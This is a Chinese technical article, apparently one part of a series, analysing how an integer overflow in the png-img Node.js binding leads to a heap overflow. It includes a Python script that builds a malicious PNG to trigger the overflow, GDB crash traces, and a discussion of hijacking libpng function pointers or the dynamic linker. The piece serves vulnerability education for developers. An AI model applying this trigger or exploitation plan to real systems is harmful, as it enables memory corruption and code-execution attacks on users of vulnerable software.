在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C++的库“粘合”到解释语言的过程中,安全漏洞是如何产生的。
从攻击者角度看问题
从攻击者的角度来看,了解我们可以控制什么,如何控制,以及我们可以影响什么,对于实现bug的可利用性至关重要。此外,可利用性还受到目标代码实际使用方式和地点的影响。
如果我们处理的是一个库代码中的bug,而这个库可能被用在更大的软件中,这就为我们作为攻击者提供了各种额外的交互机会和影响力。此外,触发bug的操作环境也非常重要。操作系统、系统的硬件以及它们的软件生态系统都在各种配置中启用了不同级别的系统级缓解措施。在一个操作系统上可以通过缓解措施阻止的漏洞可能在另一个操作系统上完全可以被利用。
在png-img案例中,假设我们面对的是最基本的攻击环境:一个单一的Javascript文件,需要png-img包,然后用它来加载攻击者提供的PNG文件。
var fs = require('fs');
PngImg = require('png-img');
var buf = fs.readFileSync('/home/anticomputer/trigger.png');
img = new PngImg(buf);
大多数现代内存破坏攻击都需要对目标进程内存布局有所了解。因为我们正在重写内存,所以知道它们在原始内存布局中的位置有助于我们构造替代性的,但功能正常的内存内容,以供目标进程使用。
作为攻击者,他们希望滥用这些新的内存内容来欺骗涉及它们的算法来执行对他们有利的操作。通常来说,攻击者的目标是执行任意代码或命令,但攻击者的目标也可能是更深奥的行为。例如,攻击者也可能想要重写身份验证标志,削弱随机数生成器,或以其他方式颠覆软件中的安全关键逻辑。除此之外,即使只是让一个进程不可用,本身就可以成为目标,因为它可能导致意想不到的安全影响。
由于缺乏内存布局缓解措施,我们可以对给定的目标二进制代码及其相关的内存布局进行盲目的假设,或者通过信息泄露来了解内存布局。
信息泄露可以是简单的,例如通过其他的或重新设计的bug来泄漏内存的内容,也可以是复杂的,例如使用基于计时或崩溃的探测方法来确定某个特定库的进程内存的某个部分可能存在的位置。需要注意的是,要想利用信息泄露来推进漏洞利用过程,通常需要与目标流程进行反复交互。
由于在我们的single-shot场景中,我们将无法动态地了解目标进程的内存布局,因此,我们将不得不依靠运气和有根据的猜测相结合的方式,在触发内存破坏时判断内存中的位置信息。
首先,我们需要找出针对目标节点二进制文件必须处理的缓解措施。为此,我们可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。
我们可以看到,我们的目标二进制文件并非一个位置无关的可执行文件(Position Independent Executable,PIE)。这意味着,在同一平台上每次运行这个特定的二进制文件时,Node可执行文件的.text和.data段在内存中的位置保持不变。这对我们的single-shot场景非常有帮助,因为这种知识给了我们一个进入可执行代码和程序数据已知位置的钩子。如果我们测试平台上的Node二进制文件被编译成PIE,由于地址空间布局随机化(ASLR)已经推广到了现代Linux上的PIE二进制文件,所以,在远程的single-shot场景中对这个漏洞的实际利用会受到很大的阻碍。
如果我们没有类似GEF的checksec这样的工具可用,我们也可以直接使用file命令。由于PIE二进制文件就是类型为ET_DYN(共享对象文件)的Elf可执行文件,所以,它们将会显示为共享库,而非PIE二进制文件则是ET_EXEC(可执行文件)类型。例如,如果我们将非PIE Node二进制文件与我们测试平台(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二进制文件进行比较,则需要注意以下几点:
anticomputer@dc1:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
anticomputer@dc1:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped进攻计划
现在,我们知道了相应的操作环境,以及在尝试利用漏洞时可能知道哪些内存内容,这样的话,我们可以开始决定我们要用堆内存控制技术来颠覆哪些算法了。
在这种情况下,会想到三个潜在的选择,从特定于应用程序到特定于平台的范围,具体如下所示:
我们可以攻击在被破坏的堆内存上运行的png-img和libpng逻辑
我们可以攻击在被破坏的堆内存上运行的Node.js解释器逻辑
我们可以攻击在被破坏的堆内存上运行的系统库
对我们而言,这三个选项中哪一个最有意义,主要取决于我们愿意为漏洞利用尝试投入多少时间和精力。但是,就概念验证级别的工作来说,我们需要采取最便捷的漏洞利用途径。为了确定哪条路径,我们必须跟该漏洞打交道,并进行一些动态分析。
构造触发器
到目前为止,我们已经对很多事情进行了理论上的探讨。例如,我们探讨了攻击者判断某个bug是否值得利用时,会考虑哪些因素。既然我们已经决定要尝试利用png-img bug,那么是时候开始鼓捣该bug本身了。
首先,让我们归纳出这个bug的基本触发条件:我们要创建一个PNG文件,用于触发整数溢出,从而导致data_数组内存分配不足,随后用我们精心制作的PNG行数据覆盖堆内存。此外,在libpng的PNG分块解析过程中,我们还必须通过一些校验和检查,这样,我们的恶意PNG数据才能被顺利接受,以进行后续处理。
PNG文件由一个PNG签名和一系列PNG分块组成。这些分块可以进一步分解为:一个4字节的分块长度、一个4字节的分块类型、一个可变长度的分块数据,以及一个4字节的分块类型和数据的CRC校验和。PNG中的第一个分块是IHDR分块,其中规定了图像的宽度和高度。
回顾易受攻击的png-img绑定代码,我们可以发现图像高度是我们需要控制的变量之一,它用于触发整数溢出。另一个变量是一行的字节数。让我们来看看png-img,以及随后的libpng是如何从我们提供的PNG文件中填充这些数据的。
png-img中加载PNG数据的主要入口点是PngImg::PngImg构造函数,其内容如下所示:
PngImg::PngImg(const char* buf, const size_t bufLen)
: data_(nullptr)
{
memset(&info_, 0, sizeof(info_));
PngReadStruct rs;
if(rs.Valid()) {
BufPtr bufPtr = {buf, bufLen};
png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf);
[1]
ReadInfo_(rs);
InitStorage_();
png_read_image(rs.pngPtr, &rowPtrs_[0]);
}
}
在[1]处,调用了ReadInfo_,它实际上是一个通过libpng的png_read_info函数填充大多数PNG信息的函数。
void PngImg::ReadInfo_(PngReadStruct& rs) {
png_read_info(rs.pngPtr, rs.infoPtr);
info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr);
info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr);
info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr);
info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr);
info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr);
info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr);
info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr);
info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr);
info_info_.pxlsize = info_.rowbytes / info_.width;
}
png_read_info将遍历所有PNG分块,提取与PNG图像相关的信息,处理IHDR分块,并调用png_handle_IHDR。
/* Read and check the IDHR chunk */
void /* PRIVATE */
png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length)
{
png_byte buf[13];
png_uint_32 width, height;
int bit_depth, color_type, compression_type, filter_type;
int interlace_type;
png_debug(1, "in png_handle_IHDR");
if (png_ptr->mode & PNG_HAVE_IHDR)
png_chunk_error(png_ptr, "out of place");
/* Check the length */
if (length != 13)
png_chunk_error(png_ptr, "invalid");
png_ptr->mode |= PNG_HAVE_IHDR;
png_crc_read(png_ptr, buf, 13);
png_crc_finish(png_ptr, 0);
[1]
width = png_get_uint_31(png_ptr, buf);
height = png_get_uint_31(png_ptr, buf + 4);
bit_depth = buf[8];
color_type = buf[9];
compression_type = buf[10];
filter_type = buf[11];
interlace_type = buf[12];
/* Set internal variables */
png_ptr->widthwidth = width;
png_ptr->heightheight = height;
png_ptr->bit_depth = (png_byte)bit_depth;
png_ptr->interlaced = (png_byte)interlace_type;
png_ptr->color_type = (png_byte)color_type;
#ifdef PNG_MNG_FEATURES_SUPPORTED
png_ptr->filter_type = (png_byte)filter_type;
#endif
png_ptr->compression_type = (png_byte)compression_type;
/* Find number of channels */
switch (png_ptr->color_type)
{
default: /* invalid, png_set_IHDR calls png_error */
case PNG_COLOR_TYPE_GRAY:
case PNG_COLOR_TYPE_PALETTE:
png_ptr->channels = 1;
break;
case PNG_COLOR_TYPE_RGB:
png_ptr->channels = 3;
break;
case PNG_COLOR_TYPE_GRAY_ALPHA:
png_ptr->channels = 2;
break;
case PNG_COLOR_TYPE_RGB_ALPHA:
png_ptr->channels = 4;
break;
}
/* Set up other useful info */
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth *
png_ptr->channels);
[2]
png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width);
png_debug1(3, "bit_depth = %d", png_ptr->bit_depth);
png_debug1(3, "channels = %d", png_ptr->channels);
png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes);
png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth,
color_type, interlace_type, compression_type, filter_type);
}
在[1]处,我们看到代码从IHDR分块数据中提取宽度和高度(整数);在[2]处,我们看到它通过PNG_ROWBYTES宏导出rowbytes值,这是根据单个像素占用的位数将像素宽度简单转换为表示行所需的字节数。例如,对于8位像素,16像素的宽度意味着16 rowbytes。
我们还注意到png_ptr结构体的填充处理,这是一个基于堆的libpng数据结构,存放所有特定于PNG的数据。其中,包括各种函数指针,当libpng对我们的PNG数据进行操作时,将调用这些指针。例如,当libpng遇到错误时,它将调用png_error。
PNG_FUNCTION(void,PNGAPI
png_error,(png_const_structrp png_ptr, png_const_charp error_message),
PNG_NORETURN)
{
…
[1]
if (png_ptr != NULL && png_ptr->error_fn != NULL)
(*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
error_message);
/* If the custom handler doesn't exist, or if it returns,
use the default handler, which will not return. */
png_default_error(png_ptr, error_message);
}
在[1]处我们看到,如果png_ptr结构体含有一个填充error_fn函数指针的字段,则调用该函数指针时会将png_ptr结构体本身作为其第一个参数传递。
从攻击者的角度来看,了解受影响的软件如何与可能被我们控制的内存进行交互是很重要的。在这种情况下,我们已经确定libpng使用了一个基于堆的结构体,它包含了函数指针,当错误发生时,这些指针会被调用。作为一种重定向执行的方法,这在我们的漏洞利用过程中可能会很有帮助,所以我们要注意这一点。
如果我们的漏洞利用过程需要破坏png_ptr结构体,那么它就是滥用应用程序特定堆数据的一个好例子。
长话短说,假设这里使用的是8位像素,我们可以控制直接通过图像宽度得出的行字节值。因此,为了触发png-img bug,我们只需要创建这样一个有效的PNG文件:该文件包含的高度和宽度将触发整数溢出,并提供足够的行数据来覆盖data_相邻的堆内存。
我们可以使用Python Pillow库快速地进行演示:
from PIL import Image
import os
import struct
import sys
import zlib
def patch(path, offset, data):
f = open(path, 'r+b')
f.seek(offset)
f.write(data)
f.close()
trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)
# create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")
# patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))
# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))
当我们使用png-img加载生成的png文件时,将发生崩溃:
(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69 ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52
(gdb) bt
#0 0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
#1 0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
#2 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#3 0x00007ffff4034899 in png_read_image ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#4 0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#5 0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#6 0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax 0x4141414141414141 4702111234474983745
(gdb)
我们看到,由于_dl_fixup对堆内存进行了操作,而这些堆内存被我们的行数据覆盖,而行数据由大量的A字节(0x41)组成,所以我们崩溃了。
由此看来,有一些关键的进程会涉及我们控制的堆数据,于是就有了后来的崩溃。我们看到,在_dl_fixup中,崩溃前最后调用的libpng函数是png_read_row。
如果您没忘记的话,我们最初的漏洞利用理论是,我们或许能够破坏堆上的png_ptr数据,然后触发一个bug,导致libpng调用我们提供给png_error的函数指针值——当它用完行数据时。但是,我们没有在png_error中崩溃,而是在_dl_fixup中崩溃了。
那么这是怎么回事呢?好吧,首先让我们确定png_read_row实际上是在尝试调用png_error。如果我们看一下png_read_row的反汇编输出,我们会注意到以下内容:
0x00007ffff4032e45
0x00007ffff4032e4c
0x00007ffff4032e4f
0x00007ffff4032e54
0x00007ffff4032e5b
0x00007ffff4032e5e
0x00007ffff4032e63
0x00007ffff4032e6a
0x00007ffff4032e6d
我们注意到,png_error是通过过程链接表(procedure linkage table)调用的。其中,第一个参数是通过RDI寄存器传递的png_ptr结构体指针,第二个参数是通过RSI寄存器传递的错误消息。下面,让我们在png_error@plt上设置断点,看看会发生什么。
(gdb) break png_error@plt
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
#0 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#1 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
…
(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x271f588: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
到目前为止,一切都很好!我们确实在试图用受控的png_ptr数据调用png_error。但我们为什么会在_dl_fixup中崩溃,而不是获得函数指针控制权呢?
好吧,png_error是一个致命的错误处理程序。由于这是第一次调用png_error,由于惰性链接的缘故,它实际上还没有被解析和重定位。所以发生的情况是,过程链接表(PLT)中的指令会尝试跳转到png_error的全局偏移表(GOT)跳转槽条目中包含的地址,但这个地址正好指向png_error PLT条目,该条目中包含的指令负责调用动态链接器的运行时解析器。
我们可以单步跟踪这个过程,以便更好地理解它。
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d980
(gdb) x/gx 0x7ffff4274900
0x7ffff4274900: 0x00007ffff401d986
(gdb) si
0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d986
(gdb) si
0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d98b
(gdb) si
0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a0: pushq 0x257862(%rip) # 0x7ffff4274008
(gdb) si
0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a6: jmpq *0x257864(%rip) # 0x7ffff4274010
(gdb) si
_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71
71 ../sysdeps/x86_64/dl-trampoline.h: No such file or directory.
1: x/i $pc
=> 0x7ffff7dec7a0
(gdb)
在这里,我们看到png_error@plt通过GOT跳转槽跳回PLT的方式调用解析器。链接器负责解析和修复png_error的GOT跳转槽,这样以后的调用就会直接进入png_error的正确位置。简单来说,这就是惰性链接(lazy linking)的工作原理。
png-img库使用惰性链接进行按需符号解析的事实也告诉我们,它只启用了部分重定位只读(RELRO)机制。还记得之前讲过的对Node.js二进制代码进行的安全检查吗?它已经启用了完全的RELRO机制。当完全启用RELRO时,给定二进制文件的GOT部分被标记为只读,以防止攻击者替换GOT中的函数指针值。完全RELRO意味着所有动态链接的函数都必须在二进制文件加载时由链接器解析和重新定位,因为已经无法在运行时更新GOT。这是出于性能方面的考虑,因此,我们经常会看到一些库代码因为这个原因而被编译成部分RELRO。
所以总结一下,我们的base node二进制文件并不是一个PIE,并已经启用了完全的RELRO,而我们的目标png-img库启用了部分RELRO。我们的堆溢出破坏了动态链接器用来解析png-img库的函数的内存,而且我们还覆盖了png-img捆绑的libpng代码使用的png_ptr应用的特定数据。我们注意到,png_ptr是作为第一个参数传递给这个尚未解析的png_error函数的。
到目前为止,有两条明显的漏洞利用途径。我们可以尝试触发获取链接器数据的堆布局,并执行劫持PNG_PTR函数指针的原始计划,也可以尝试破坏动态链接器解析器逻辑。
这就是事情变得有些不太确定的地方。我们的堆布局控制是基于我们提供给png-img的静态PNG文件的。我们可以将data_数组分配为图像宽度的倍数,因为该漏洞允许我们使用图像的宽度和高度来触发一个32位的整数溢出。
我们再来看看存在漏洞的代码。
void PngImg::InitStorage_() {
rowPtrs_.resize(info_.height, nullptr);
[1]
data_ = new png_byte[info_.height * info_.rowbytes];
[2]
for(size_t i = 0; i < info_.height; ++i) {
rowPtrs_[i] = data_ + i * info_.rowbytes;
}
}
在[1]处,data_将是通过整数溢出覆盖的长度,这意味着我们可以使用height的低位字使data_size成为rowbytes的任意倍数。例如,如果希望data_为8字节,则可以将rowbytes设置为8,将height设置为((0xFFFFFFFF/8)+1)+1=0x20000001。
这意味着我们可以通过相当精细的方式控制data_chunk的分配大小,从而合理地控制将其存放在堆中的位置。但是,在控制堆分配顺序方面,我们没有太多其他选择。如果我们能够更好的控制目标进程中内存的分配和释放的方式和时间,那么我们可能还可以考虑攻击系统分配器(glibc)本身。但是,考虑到我们受到缓解机制的诸多限制,如果对分配器没有足够的影响力的话,我们的PoC代码的可靠性将无法满足我们的最低要求。我们可以探索的一条途径是,利用其他PNG分块,以在触发内存破坏之前将堆“按摩”到一种有利的状态——如果我们的最初探索最终陷入僵局,我们将保留它作为一种选择。
作为开发人员,必须了解攻击者将根据他们愿意花在漏洞利用上面的资源和时间来探索漏洞。即使对于相对简单的漏洞(例如png-img堆溢出),我们也看到有一个独特的攻击评估方案在起作用,它权衡了针对这里的代码,各种攻击策略的优缺点。对于各种防御措施,要根据特定平台和具体目标这两种角度进行考察。
小结
在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C++的库“粘合”到解释语言的过程中,安全漏洞是如何产生的。由于篇幅过长,我们将分为多篇进行介绍,更多精彩内容敬请期待!